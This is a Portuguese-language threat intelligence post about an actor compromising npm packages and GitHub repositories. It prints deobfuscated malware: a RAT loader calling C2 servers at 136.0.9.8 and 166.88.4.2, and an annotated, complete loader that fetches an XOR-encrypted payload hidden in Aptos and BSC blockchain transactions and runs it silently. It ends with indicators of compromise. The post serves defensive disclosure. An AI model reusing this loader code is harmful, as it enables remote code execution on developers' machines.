Você deve ter visto a história recente sobre um grupo de atores de ameaça comprometendo 16 pacotes populares relacionados a React Native Aria e GlueStack, que descobrimos e documentamos aqui. Anteriormente, detectamos que eles comprometeram o pacote rand-user-agent em 5 de maio de 2025, conforme relatado aqui.
Desde então, temos rastreado esse ator de ameaça e observado ataques menores que ainda não documentamos publicamente. No entanto, queríamos compilá-los para fornecer uma visão mais ampla de suas atividades.
Pacotes maliciosos iniciais
Em 8 de maio de 2025, nossos sistemas já haviam nos alertado sobre dois novos pacotes no npm que pareciam ser maliciosos. São eles:


Ambos foram carregados pelo mesmo usuário, aminengineerings, registrado com o e-mail aminengineerings@gmail[.]com. Desde as primeiras versões, ambos continham o payload malicioso, indicando que este pacote pertence aos próprios atores de ameaça.

Mais pacotes maliciosos
Também vimos dois pacotes adicionais lançados pelo atacante após o ataque ao gluestack. Os pacotes foram lançados em 8 de junho de 2025, sob os nomes tailwindcss-animate-expand e mongoose-lit. Estes foram lançados por um usuário chamado mattfarser. O usuário foi rapidamente excluído depois.
Especificamente, o pacote tailwindcss-animate-expand pacote é digno de nota, pois possui uma estrutura de payload diferente. A primeira parte dele se parece com isto:
global['r']=require;(function(){var Afr='',xzH=906-895;...Não vemos mais a global[‘_V’] variável sendo definida. Quando executamos isso em um sandbox, vemos que o payload final também é ligeiramente diferente. O payload se parece com isto após a desobfuscação:
global._V = 'A4';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c('child_process');
const j = c('crypto');
const k = f.platform();
const l = k.startsWith("win");
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === 'undefined' ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, 'node_modules'));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A("axios");
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
"stdio": "inherit",
windowsHide: true
};
const W = {
"stdio": "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c("axios");
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...
O que é especialmente interessante é que vemos que a versão é A4, que foi referenciada no ataque durante o fim de semana como um sinal para usar o novo servidor C2.
Também observamos que o servidor C2 “antigo” não é mais mencionado. Em vez disso, eles adicionaram o IP 166.88.4[.]2.
Sinais de alerta
Antes deste ataque, havíamos notado alguns pacotes pequenos sendo comprometidos. Aqui estão os pacotes que notamos:
Esses pacotes pertencem a três indivíduos diferentes e têm menos de 100 downloads por semana. Parece que esses atores de ameaça são consistentemente capazes de comprometer os tokens de contas npm.
Repositórios GitHub comprometidos
À medida que investigamos esses ataques mais a fundo, decidimos examinar outros ecossistemas em busca de evidências que pudessem fornecer mais informações sobre como esses atores de ameaça operam. Conseguimos detectar 19 repositórios no GitHub que os mesmos atores de ameaça comprometeram:
Há alguns commits que se destacam nestes, por exemplo:

O ator da ameaça alterou ligeiramente o payload que utiliza. Neste caso, eles codificaram em base64 um payload, que eles passam para eval(). Aqui está o payload decodificado, anotado com comentários que descrevem sua funcionalidade.
/*****************************************************************************************
* Malware “loader” that hides its real payload on two block-chains. *
* Flow ⬇️ *
* 🥇 Step-1 Read pointer on Aptos *
* 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *
* 🥉 Step-3 Pull out hidden blob *
* 🗝️ Step-4 Decode & decrypt *
* 🚀 Step-5 Run it silently *
*****************************************************************************************/
/* ───────────────────────────── Bootstrap ───────────────────────────── */
global['r'] = require; // save `require` as global.r (little obfuscation)
(async () => {
/* quick aliases */
const c = global; // shorthand for `global`
const i = c['r']; // shorthand for `require`
/* 🛠 Helper 1: GET url → JSON */
async function e (url) {
return new Promise((resolve, reject) => {
i('https')
.get(url, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject)
.end();
});
}
/* 🛠 Helper 2: call BSC JSON-RPC */
async function o (method, params = []) {
return new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };
const req = i('https')
.request(opts, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject);
req.write(payload);
req.end();
});
}
/* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
async function t (aptosAccount) {
/* 🥇 STEP-1 Read pointer on Aptos */
const latestTx = await e(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
);
const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash
/* 🥈 STEP-2 Fetch BSC transaction carrying the payload */
const bscTx = await o('eth_getTransactionByHash', [bscHash]);
const hexBlob = bscTx.result.input.slice(2); // drop "0x"
/* 🥉 STEP-3 Pull out hidden blob (still unreadable) */
const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');
const b64Chunk = rawText.split('..')[1]; // keep part after ".."
/* 🗝️ STEP-4 Decode & decrypt */
const encrypted = atob(b64Chunk); // Base-64 → binary string
const KEY = '$v$5;kmc$ldm*5SA';
let payload = '';
for (let j = 0; j < encrypted.length; j++) {
payload += String.fromCharCode(
encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
);
}
return payload; // plain-text JS to execute
}
/* 🚀 STEP-5 Run it silently in the background */
try {
const script = await t(
'0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
);
i('child_process')
.spawn(
'node',
['-e', `global['_V']='${c['_V'] || 0}';${script}`],
{ detached: true, stdio: 'ignore', windowsHide: true }
)
.on('error', () => { /* swallow child errors */ });
} catch (err) {
/* stay quiet on any failure */
}
})(); Este código é engenhoso, pois ele se auto-inicializa parcialmente a partir do conteúdo de duas blockchains diferentes. Aqui está uma visão geral passo a passo:
A transação na Binance Smart Chain pode ser encontrada abaixo. Vale ressaltar que a carteira e o contrato existem desde 7 de fevereiro de 2025:
https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Executamos o código em um sandbox e obtivemos o payload final, que era o mesmo payload que já havíamos documentado antes, sem alterações significativas.
Conclusões
Observamos que o ator da ameaça está comprometendo ativamente e consistentemente não apenas pacotes npm, mas também repositórios GitHub. Além disso, eles têm experimentado implantar seus próprios pacotes com seu RAT. Eles também começaram a usar Blockchains como um método para distribuir seu código malicioso.
Indicadores de comprometimento
Pacotes
solanautilweb3-socketiotailwindcss-animate-expandmongoose-lite@lfwfinance/sdk@lfwfinance/sdk-devalgorand-htlcavm-satoshi-dicebiatec-avm-gas-stationarc200-clientcputil-node
IPs
166.88.4[.]2136.0.9[.]8
Conta Aptos
0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d
Endereço BSC
0x9BC1355344B54DEDf3E44296916eD15653844509
Contrato BSC
0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

